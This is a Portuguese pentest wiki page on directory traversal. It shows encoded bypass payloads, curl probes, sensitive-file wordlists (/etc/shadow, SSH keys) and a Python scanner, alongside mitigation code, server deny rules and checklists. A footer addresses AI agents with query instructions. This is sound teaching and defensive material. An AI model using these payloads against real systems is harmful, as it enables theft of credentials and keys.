# Directory Traversal

## **🔍 Conceitos Fundamentais**

### **O que é Directory Traversal**

Directory Traversal (ou Path Traversal) é uma vulnerabilidade de segurança que permite a um atacante acessar arquivos e diretórios fora do diretório raiz pretendido do servidor web.

### **Princípio de Funcionamento**

```
Requisição Maliciosa → Servidor Processa → Acesso a Arquivos Restritos
         ↓                     ↓                      ↓
   Manipulação de        Interpretação         Leitura/Exposição
   parâmetros de path     inadequada           de dados sensíveis
```

### **Características do Directory Traversal**

* **Explora validação inadequada** de inputs de arquivo
* **Permite acesso a arquivos** do sistema operacional
* **Pode levar a divulgação** de informações sensíveis
* **Frequentemente encontrada** em aplicações que manipulam arquivos

### **Tipos de Directory Traversal**

1. **Basic Path Traversal** - Uso de `../` simples
2. **Encoded Traversal** - Usando codificação URL
3. **Double Encoding** - Codificação dupla para bypass
4. **Absolute Path Traversal** - Usando paths absolutos
5. **Null Byte Injection** - Usando null bytes para truncamento

***

## **⚔️ Mecanismos de Ataque**

### **Fluxo de Ataque Directory Traversal**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant S as Servidor Web
    participant FS as Sistema de Arquivos

    Note over A,FS: FASE 1: Reconhecimento
    A->>S: Requisição legítima para arquivo
    S->>FS: Busca arquivo no diretório permitido
    FS->>S: Retorna arquivo solicitado
    S->>A: Exibe conteúdo do arquivo

    Note over A,FS: FASE 2: Exploração
    A->>S: Requisição com payload traversal
    Note right of A: Ex: ../../../../etc/passwd
    S->>S: Processa path sem validação adequada
    S->>FS: Busca arquivo em local não permitido
    
    Note over A,FS: FASE 3: Acesso Não Autorizado
    FS->>S: Retorna conteúdo do arquivo sensível
    S->>A: Exibe dados sensíveis
    
    Note over A,FS: FASE 4: Escalação
    A->>A: Analisa dados obtidos
    A->>S: Novas tentativas com outros paths
    S->>FS: Acessa mais arquivos sensíveis
```

### **Cenário 1: Traversal Básico**

```http
GET /download?file=../../../etc/passwd HTTP/1.1
Host: vulnerable-app.com
```

### **Cenário 2: Traversal com Codificação**

```http
GET /download?file=..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: vulnerable-app.com
```

### **Cenário 3: Traversal com Codificação Dupla**

```http
GET /download?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.1
Host: vulnerable-app.com
```

### **Cenário 4: Traversal com Null Byte**

```http
GET /download?file=../../../etc/passwd%00.jpg HTTP/1.1
Host: vulnerable-app.com
```

### **Cenário 5: Traversal com Path Absoluto**

```http
GET /download?file=/etc/passwd HTTP/1.1
Host: vulnerable-app.com
```

***

## **🔎 Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos a verificar em aplicações
- Parâmetros que aceitam nomes de arquivo
- Funcionalidades de upload/download
- Aplicações que servem arquivos estáticos
- APIs que retornam conteúdo de arquivos
- Log viewers ou file managers
```

### **Padrões de Parâmetros Vulneráveis**

```
file, filename, path, directory, folder, document
template, view, page, load, show, display
image, img, upload, download, retrieve
```

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}

### **Teste Básico de Traversal**

```bash
# Testar com traversal sequences básicas
curl "http://alvo.com/download?file=../../../../etc/passwd"
curl "http://alvo.com/view?page=../../../windows/win.ini"

# Testar com diferentes codificações
curl "http://alvo.com/download?file=..%2f..%2f..%2fetc%2fpasswd"
curl "http://alvo.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
```

{% endstep %}

{% step %}

### **Wordlist de Arquivos Comuns**

```bash
# Linux/Unix
/etc/passwd
/etc/shadow
/etc/hosts
/etc/group
/var/log/auth.log
/var/www/html/config.php
/home/user/.ssh/id_rsa
/proc/self/environ

# Windows
\windows\win.ini
\windows\system32\drivers\etc\hosts
\boot.ini
\autoexec.bat
\windows\repair\sam
```

{% endstep %}

{% step %}

### **Script de Teste Automatizado**

```python
#!/usr/bin/env python3
# traversal_scanner.py

import requests
import urllib.parse
from urllib.parse import quote, quote_plus

class DirectoryTraversalScanner:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.vulnerable_params = []
        
        # Wordlist de arquivos sensíveis
        self.sensitive_files = [
            # Linux/Unix
            '/etc/passwd',
            '/etc/shadow', 
            '/etc/hosts',
            '/etc/group',
            '/proc/self/environ',
            '/var/www/html/config.php',
            '/home/user/.ssh/id_rsa',
            
            # Windows
            '/windows/win.ini',
            '/windows/system32/drivers/etc/hosts',
            '/boot.ini'
        ]
        
        # Técnicas de traversal
        self.traversal_techniques = [
            '../../../{}',
            '....//....//....//{}',
            '..%2f..%2f..%2f{}',
            '..%252f..%252f..%252f{}',
            '..%c0%af..%c0%af..%c0%af{}',
            '..\\..\\..\\{}',  # Windows
            '..%5c..%5c..%5c{}'  # Windows encoded
        ]

    def test_parameter(self, url, param, value):
        """Testar parâmetro específico para traversal"""
        for technique in self.traversal_techniques:
            for sensitive_file in self.sensitive_files:
                # Construir payload
                payload = technique.format(sensitive_file)
                
                # Testar requisição
                test_url = f"{url}?{param}={payload}"
                try:
                    response = self.session.get(test_url)
                    
                    # Verificar indicadores de sucesso
                    if self.is_successful(response, sensitive_file):
                        print(f"[VULNERÁVEL] {test_url}")
                        self.vulnerable_params.append({
                            'url': test_url,
                            'parameter': param,
                            'technique': technique,
                            'file': sensitive_file
                        })
                        return True
                        
                except Exception as e:
                    print(f"Erro testando {test_url}: {e}")
        
        return False

    def is_successful(self, response, filename):
        """Verificar se o traversal foi bem-sucedido"""
        success_indicators = [
            # Para /etc/passwd
            'root:' in response.text if 'passwd' in filename else False,
            # Para arquivos de configuração
            '<?php' in response.text if '.php' in filename else False,
            # Para hosts file
            'localhost' in response.text if 'hosts' in filename else False,
            # Para win.ini
            '[fonts]' in response.text if 'win.ini' in filename else False,
            # Resposta muito longa (indica arquivo)
            len(response.text) > 1000,
            # Códigos de status específicos
            response.status_code == 200
        ]
        
        return any(success_indicators)

    def scan_url(self, url, params):
        """Escaneiar URL específica com parâmetros"""
        print(f"Escaneando: {url}")
        
        for param in params:
            print(f"Testando parâmetro: {param}")
            self.test_parameter(url, param, 'test')

    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        return {
            'base_url': self.base_url,
            'vulnerabilities_found': len(self.vulnerable_params),
            'vulnerabilities': self.vulnerable_params
        }

# Uso do scanner
if __name__ == "__main__":
    scanner = DirectoryTraversalScanner('http://alvo.com')
    
    # URLs e parâmetros para testar
    test_cases = [
        ('http://alvo.com/download', ['file', 'filename']),
        ('http://alvo.com/view', ['page', 'template']),
        ('http://alvo.com/load', ['document', 'path'])
    ]
    
    for url, params in test_cases:
        scanner.scan_url(url, params)
    
    report = scanner.generate_report()
    print(f"Vulnerabilidades encontradas: {report['vulnerabilities_found']}")
```

{% endstep %}
{% endstepper %}

### **Técnicas de Bypass Avançadas**

{% stepper %}
{% step %}

### **Bypass com URL Encoding**

```http
GET /download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1

GET /download?file=..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
```

{% endstep %}

{% step %}

### **Bypass com Unicode**

```http
GET /download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd HTTP/1.1

GET /download?file=..%u2215..%u2215..%u2215etc%u2215passwd HTTP/1.1
```

{% endstep %}

{% step %}

### **Bypass com Double Slash**

```http
GET /download?file=....//....//....//etc//passwd HTTP/1.1
```

{% endstep %}

{% step %}

### **Bypass com Backslashes (Windows)**

```http
GET /download?file=..\..\..\windows\win.ini HTTP/1.1

GET /download?file=..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1
```

{% endstep %}
{% endstepper %}

***

## **💥 Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

#### **1. Leitura de Arquivos de Configuração**

```http
# Arquivos de aplicação
GET /download?file=../../config/database.php HTTP/1.1

# Arquivos de framework
GET /view?template=../../../app/config/parameters.yml HTTP/1.1

# Arquivos de ambiente
GET /load?file=../../.env HTTP/1.1
```

#### **2. Acesso a Logs do Sistema**

```http
# Logs de aplicação
GET /download?file=../../var/log/application.log HTTP/1.1

# Logs de acesso
GET /view?file=../../../var/log/apache2/access.log HTTP/1.1

# Logs de autenticação
GET /load?file=../../../../var/log/auth.log HTTP/1.1
```

#### **3. Acesso a Chaves SSH**

```http
GET /download?file=../../.ssh/id_rsa HTTP/1.1

GET /view?file=../../../home/user/.ssh/authorized_keys HTTP/1.1
```

#### **4. Leitura de Arquivos do ProcFS (Linux)**

```http
# Variáveis de ambiente do processo
GET /download?file=../../../proc/self/environ HTTP/1.1

# Informações do sistema
GET /view?file=../../../proc/version HTTP/1.1

# Mapa de memória
GET /load?file=../../../proc/self/maps HTTP/1.1
```

### **Impacto do Directory Traversal**

#### **Dados que Podem Ser Acessados**

```json
{
  "credenciais_e_configuracoes": {
    "arquivos": [
      "/etc/passwd",
      "/etc/shadow", 
      "/etc/hosts",
      ".env",
      "config.php",
      "database.yml",
      "application.properties"
    ],
    "impacto": "Exposição de credenciais, configurações de sistema"
  },
  "chaves_e_certificados": {
    "arquivos": [
      "/.ssh/id_rsa",
      "/.ssh/id_rsa.pub", 
      "/.ssh/authorized_keys",
      "keystore.jks",
      "certificate.pem"
    ],
    "impacto": "Acesso a sistemas, impersonificação"
  },
  "logs_e_dados_aplicacao": {
    "arquivos": [
      "/var/log/auth.log",
      "/var/log/apache2/access.log",
      "application.log",
      "debug.log"
    ],
    "impacto": "Obtenção de informações sensíveis, análise de atividades"
  },
  "arquivos_sistema": {
    "arquivos": [
      "/proc/self/environ",
      "/proc/version",
      "/etc/hostname",
      "/boot.ini"
    ],
    "impacto": "Reconhecimento do sistema, informações de ambiente"
  }
}
```

#### **Cadeia de Ataque Completa**

```
Directory Traversal → Exposição de Dados → Acesso a Credenciais → Escalação de Privilégios
```

***

## **🛡️ Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

{% stepper %}
{% step %}

### **Validação e Sanitização de Input**

```python
import os
import re
from urllib.parse import unquote

def safe_file_access(requested_path, base_directory):
    """
    Validação segura para acesso a arquivos
    """
    # Decodificar URL encoding
    requested_path = unquote(requested_path)
    
    # Normalizar path
    normalized_path = os.path.normpath(requested_path)
    
    # Verificar traversal sequences
    traversal_patterns = [
        r'\.\.', r'%2e%2e', r'%252e%252e', r'%c0%ae%c0%ae',
        r'\.\\', r'%2e%5c', r'%252e%255c'
    ]
    
    for pattern in traversal_patterns:
        if re.search(pattern, requested_path, re.IGNORECASE):
            raise SecurityError("Tentativa de directory traversal detectada")
    
    # Verificar se o path final está dentro do diretório base
    full_path = os.path.join(base_directory, normalized_path)
    full_path = os.path.abspath(full_path)
    
    if not full_path.startswith(os.path.abspath(base_directory)):
        raise SecurityError("Acesso fora do diretório permitido")
    
    # Verificar se o arquivo existe
    if not os.path.isfile(full_path):
        raise FileNotFoundError("Arquivo não encontrado")
    
    return full_path
```

{% endstep %}

{% step %}

### **Lista Branca de Arquivos Permitidos**

```python
def validate_filename(filename, allowed_files):
    """
    Validação por lista branca
    """
    # Lista de arquivos permitidos
    allowed_basenames = {
        'document.pdf', 'template.html', 'image.jpg',
        'data.json', 'config.xml'
    }
    
    # Extrair apenas o nome do arquivo (sem path)
    basename = os.path.basename(filename)
    
    if basename not in allowed_basenames:
        raise SecurityError("Arquivo não permitido")
    
    return basename
```

{% endstep %}

{% step %}

### **Middleware de Segurança para Web Apps**

```javascript
// Node.js/Express - Middleware de proteção
const path = require('path');

function traversalProtection(req, res, next) {
    const fileParams = ['file', 'filename', 'path', 'document'];
    
    for (const param of fileParams) {
        if (req.query[param] || req.body[param]) {
            const input = req.query[param] || req.body[param];
            
            // Verificar sequences de traversal
            const traversalSequences = [
                '..', '../', '..\\', '%2e%2e', '%252e%252e',
                '....//', '%c0%ae%c0%ae'
            ];
            
            for (const sequence of traversalSequences) {
                if (input.includes(sequence)) {
                    return res.status(403).json({
                        error: 'Tentativa de acesso não autorizado detectada'
                    });
                }
            }
            
            // Verificar path absoluto
            if (path.isAbsolute(input)) {
                return res.status(403).json({
                    error: 'Paths absolutos não são permitidos'
                });
            }
        }
    }
    
    next();
}

// Aplicar middleware
app.use(traversalProtection);
```

{% endstep %}
{% endstepper %}

### **Configuração de Servidor Web**

#### **1. Configuração Nginx**

```nginx
server {
    listen 80;
    server_name example.com;
    
    # Bloquear tentativas de traversal conhecidas
    location ~* \.(\.\.|%2e%2e|%252e%252e) {
        deny all;
        return 403;
    }
    
    # Servir apenas arquivos do diretório específico
    location /downloads/ {
        # Diretório base para arquivos
        alias /var/www/safe_files/;
        
        # Não permitir acesso a arquivos ocultos
        location ~ /\. {
            deny all;
        }
        
        # Bloquear extensões sensíveis
        location ~* \.(php|env|yml|yaml|sql|key)$ {
            deny all;
        }
        
        # Configurações de segurança
        internal;  # Só pode ser acessado internamente
    }
}
```

#### **2. Configuração Apache**

```apache
<VirtualHost *:80>
    ServerName example.com
    
    # Bloquear patterns de traversal
    RewriteEngine On
    RewriteCond %{QUERY_STRING} \.\.\/ [OR]
    RewriteCond %{QUERY_STRING} %2e%2e [OR]
    RewriteCond %{QUERY_STRING} \.\.\\ [OR]
    RewriteCond %{QUERY_STRING} %252e%252e
    RewriteRule ^ - [F]
    
    # Restringir acesso a diretórios
    <Directory "/var/www/safe_files">
        Options -Indexes
        AllowOverride None
        Require all granted
        
        # Bloquear arquivos sensíveis
        <FilesMatch "\.(env|key|sql|yml)$">
            Require all denied
        </FilesMatch>
    </Directory>
</VirtualHost>
```

### **Práticas Seguras de Desenvolvimento**

{% stepper %}
{% step %}

### **Usando APIs Seguras de File System**

```java
// Java - Usando Path e resolvendo corretamente
public File getSafeFile(String userInput, String baseDirectory) {
    Path basePath = Paths.get(baseDirectory).normalize().toAbsolutePath();
    Path userPath = Paths.get(userInput).normalize();
    Path resolvedPath = basePath.resolve(userPath).normalize();
    
    if (!resolvedPath.startsWith(basePath)) {
        throw new SecurityException("Tentativa de directory traversal");
    }
    
    return resolvedPath.toFile();
}
```

{% endstep %}

{% step %}

### **Validação em Múltiplas Camadas**

```php
<?php
// PHP - Validação robusta
function secureFileAccess($filename, $baseDir) {
    // Remover null bytes
    $filename = str_replace(chr(0), '', $filename);
    
    // Decodificar URL encoding
    $filename = urldecode($filename);
    
    // Lista de patterns maliciosos
    $maliciousPatterns = [
        '../', '..\\', '%2e%2e', './', '//', '\\\\'
    ];
    
    foreach ($maliciousPatterns as $pattern) {
        if (strpos($filename, $pattern) !== false) {
            throw new Exception('Tentativa de directory traversal');
        }
    }
    
    // Usar basename para remover paths
    $safeFilename = basename($filename);
    
    // Verificar se está no diretório permitido
    $fullPath = realpath($baseDir . DIRECTORY_SEPARATOR . $safeFilename);
    $basePath = realpath($baseDir);
    
    if ($fullPath === false || strpos($fullPath, $basePath) !== 0) {
        throw new Exception('Acesso não permitido');
    }
    
    return $fullPath;
}
?>
```

{% endstep %}
{% endstepper %}

***

## **🔧 Ferramentas e Testes**

### **Ferramentas de Análise Automatizada**

#### **1. Scanner Directory Traversal com Burp Suite**

```python
# Extensão para Burp Suite - Traversal Scanner
from burp import IBurpExtender
from burp import IScannerCheck
from burp import IScanIssue
import re

class BurpExtender(IBurpExtender, IScannerCheck):
    
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Directory Traversal Scanner")
        callbacks.registerScannerCheck(self)
    
    def doPassiveScan(self, baseRequestResponse):
        issues = []
        
        # Analisar requisição
        request = baseRequestResponse.getRequest()
        analyzedRequest = self._helpers.analyzeRequest(request)
        
        # Verificar parâmetros
        parameters = analyzedRequest.getParameters()
        
        for parameter in parameters:
            param_name = parameter.getName()
            param_value = parameter.getValue()
            
            # Testar se contém patterns de traversal
            traversal_patterns = [
                r'\.\./', r'\.\.\\', r'%2e%2e', r'%252e%252e',
                r'\.\.%2f', r'\.\.%5c', r'%c0%ae%c0%ae'
            ]
            
            for pattern in traversal_patterns:
                if re.search(pattern, param_value, re.IGNORECASE):
                    issues.append(CustomScanIssue(
                        baseRequestResponse.getHttpService(),
                        self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
                        [baseRequestResponse],
                        "Directory Traversal Detection",
                        "Potential directory traversal attempt in parameter: " + param_name,
                        "High"
                    ))
        
        return issues

class CustomScanIssue(IScanIssue):
    # Implementação do issue customizado
    pass
```

#### **2. Ferramentas de Linha de Comando**

```bash
# ffuf - Fuzzing para directory traversal
ffuf -u "http://alvo.com/download?file=FUZZ" -w traversal_wordlist.txt

# nuclei - Scanner com templates
nuclei -u http://alvo.com -t /path/to/traversal-templates/

# curl com wordlist
while read payload; do
    curl -s "http://alvo.com/download?file=$payload" | grep -q "root:" && echo "VULNERABLE: $payload"
done < wordlist.txt
```

### **Wordlists para Testes**

```bash
# traversal_wordlist.txt
../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
....//....//....//etc//passwd
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini
/etc/passwd
\windows\win.ini
.../.../.../etc/passwd
```

***

## **📋 Checklists de Segurança**

### **Checklist de Prevenção Directory Traversal**

* [ ] **Validação de Input**
  * [ ] Validação de sequences `../` e `..\`
  * [ ] Decodificação URL antes da validação
  * [ ] Verificação de null bytes
  * [ ] Lista branca de caracteres permitidos
* [ ] **Sanitização de Paths**
  * [ ] Uso de `basename()` para remover paths
  * [ ] Normalização e resolução segura de paths
  * [ ] Verificação se path final está dentro do diretório base
  * [ ] Remoção de múltiplos slashes
* [ ] **Configuração de Servidor**
  * [ ] Diretórios restritos apropriados
  * [ ] Bloqueio de acesso a arquivos sensíveis
  * [ ] Configuração de permissões de arquivo
  * [ ] Logs de acesso a arquivos
* [ ] **Arquitetura Segura**
  * [ ] Servir arquivos estáticos de diretório dedicado
  * [ ] Usar IDs em vez de nomes de arquivo
  * [ ] Implementar checksums para verificação
  * [ ] Armazenar arquivos fora do web root

### **Checklist de Auditoria**

* [ ] **Identificação de Pontos de Entrada**
  * [ ] Mapeamento de parâmetros de arquivo
  * [ ] Análise de funcionalidades de upload/download
  * [ ] Verificação de APIs de arquivo
  * [ ] Revisão de viewers de arquivo
* [ ] **Testes de Exploração**
  * [ ] Teste com sequences básicas de traversal
  * [ ] Teste com codificação URL
  * [ ] Teste com codificação dupla
  * [ ] Teste com null bytes
  * [ ] Teste com paths absolutos
* [ ] **Análise de Código**
  * [ ] Revisão de funções de acesso a arquivo
  * [ ] Verificação de validação de input
  * [ ] Análise de configurações de servidor
  * [ ] Revisão de permissões de arquivo

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitoramento de patterns de traversal em logs
  * [ ] Alertas para acesso a arquivos sensíveis
  * [ ] Análise de tentativas de acesso anormais
* [ ] **Contenção**
  * [ ] Bloqueio de IPs maliciosos
  * [ ] Rotação de credenciais expostas
  * [ ] Revogação de chaves comprometidas
* [ ] **Correção**
  * [ ] Implementação de validação adequada
  * [ ] Atualização de configurações
  * [ ] Reteste de vulnerabilidades
  * [ ] Monitoramento contínuo

***

## **📊 Exemplos de Implementação Segura**

### **Implementação Completa em Python**

```python
import os
import re
from urllib.parse import unquote
from pathlib import Path

class SecureFileHandler:
    def __init__(self, base_directory):
        self.base_directory = Path(base_directory).resolve()
        
        # Patterns maliciosos
        self.malicious_patterns = [
            r'\.\.', r'%2e%2e', r'%252e%252e', r'%c0%ae%c0%ae',
            r'\.\\', r'%2e%5c', r'%252e%255c', r'%00',
            r'//', r'\\\\'
        ]
        
    def get_safe_path(self, user_input):
        """
        Retorna um path seguro para acesso a arquivo
        """
        if not user_input or not isinstance(user_input, str):
            raise ValueError("Input inválido")
        
        # Decodificar URL encoding
        decoded_input = unquote(user_input)
        
        # Remover null bytes
        cleaned_input = decoded_input.replace('\x00', '')
        
        # Verificar patterns maliciosos
        for pattern in self.malicious_patterns:
            if re.search(pattern, cleaned_input, re.IGNORECASE):
                raise SecurityError(f"Pattern malicioso detectado: {pattern}")
        
        # Usar apenas o nome do arquivo
        filename = Path(cleaned_input).name
        
        # Construir path completo
        full_path = (self.base_directory / filename).resolve()
        
        # Verificar se está dentro do diretório base
        if not full_path.is_relative_to(self.base_directory):
            raise SecurityError("Tentativa de acesso fora do diretório permitido")
        
        # Verificar se é um arquivo (não diretório)
        if not full_path.is_file():
            raise FileNotFoundError("Arquivo não encontrado")
        
        return full_path
    
    def read_file_safely(self, user_input):
        """
        Lê arquivo de forma segura
        """
        safe_path = self.get_safe_path(user_input)
        
        try:
            with open(safe_path, 'r', encoding='utf-8') as file:
                return file.read()
        except Exception as e:
            raise IOError(f"Erro ao ler arquivo: {e}")

class SecurityError(Exception):
    pass

# Uso seguro
file_handler = SecureFileHandler('/var/www/safe_files')

try:
    content = file_handler.read_file_safely('document.pdf')
    print(content)
except SecurityError as e:
    print(f"Erro de segurança: {e}")
except FileNotFoundError as e:
    print(f"Arquivo não encontrado: {e}")
```

### **Configuração Web Server Segura**

```nginx
# Nginx - Configuração segura para servir arquivos
server {
    listen 80;
    server_name files.example.com;
    
    # Diretório base seguro
    root /var/www/safe_files;
    
    # Bloquear acesso a arquivos sensíveis
    location ~* \.(env|key|pem|sql|yml|yaml|ini|cfg|conf)$ {
        deny all;
        return 404;
    }
    
    # Bloquear acesso a diretórios ocultos
    location ~ /\. {
        deny all;
        return 404;
    }
    
    # Location para download seguro
    location /download/ {
        # Só permitir métodos GET
        limit_except GET {
            deny all;
        }
        
        # Validar parâmetro de arquivo
        if ($arg_file ~* "\.\.|%2e%2e|%252e%252e") {
            return 403;
        }
        
        # Servir apenas arquivos específicos
        location ~* \.(pdf|jpg|png|txt)$ {
            # Usar nome seguro do arquivo
            set $safe_file $arg_file;
            if ($safe_file ~* "([^/\\]+)$") {
                set $safe_file $1;
            }
            
            # Verificar se arquivo existe
            try_files /$safe_file =404;
            
            # Headers de segurança
            add_header X-Content-Type-Options "nosniff";
            add_header X-Frame-Options "DENY";
        }
        
        # Bloquear outros tipos de arquivo
        location ~* \..+$ {
            deny all;
        }
    }
    
    # Bloquear acesso direto a outros locations
    location / {
        return 403;
    }
}
```

***

## **⚠️ Considerações Finais**

### **Mitos Comuns sobre Directory Traversal**

* ❌ "Sanitização básica é suficiente" → **FALSO** (necessária validação multi-camadas)
* ❌ "Só afeta sistemas Linux" → **FALSO** (Windows também é vulnerável)
* ❌ "Firewalls previnem traversal" → **FALSO** (é vulnerabilidade de aplicação)

### **Boas Práticas Essenciais**

1. **Never Trust User Input**: Sempre validar e sanitizar inputs
2. **Principle of Least Privilege**: Acesso mínimo necessário a arquivos
3. **Defense in Depth**: Múltiplas camadas de proteção
4. **Secure Defaults**: Configurações seguras por padrão

### **Referências e Padrões**

* OWASP Path Traversal Guide
* SANS Institute Security Guidelines
* NIST Cybersecurity Framework
* CIS Security Benchmarks

**🔐 Lembre-se**: Directory Traversal é uma vulnerabilidade clássica mas ainda muito prevalente. Implemente validações robustas desde o design da aplicação e mantenha monitoramento contínuo para detectar tentativas de exploração.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/planejamento-e-logica/directory-traversal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.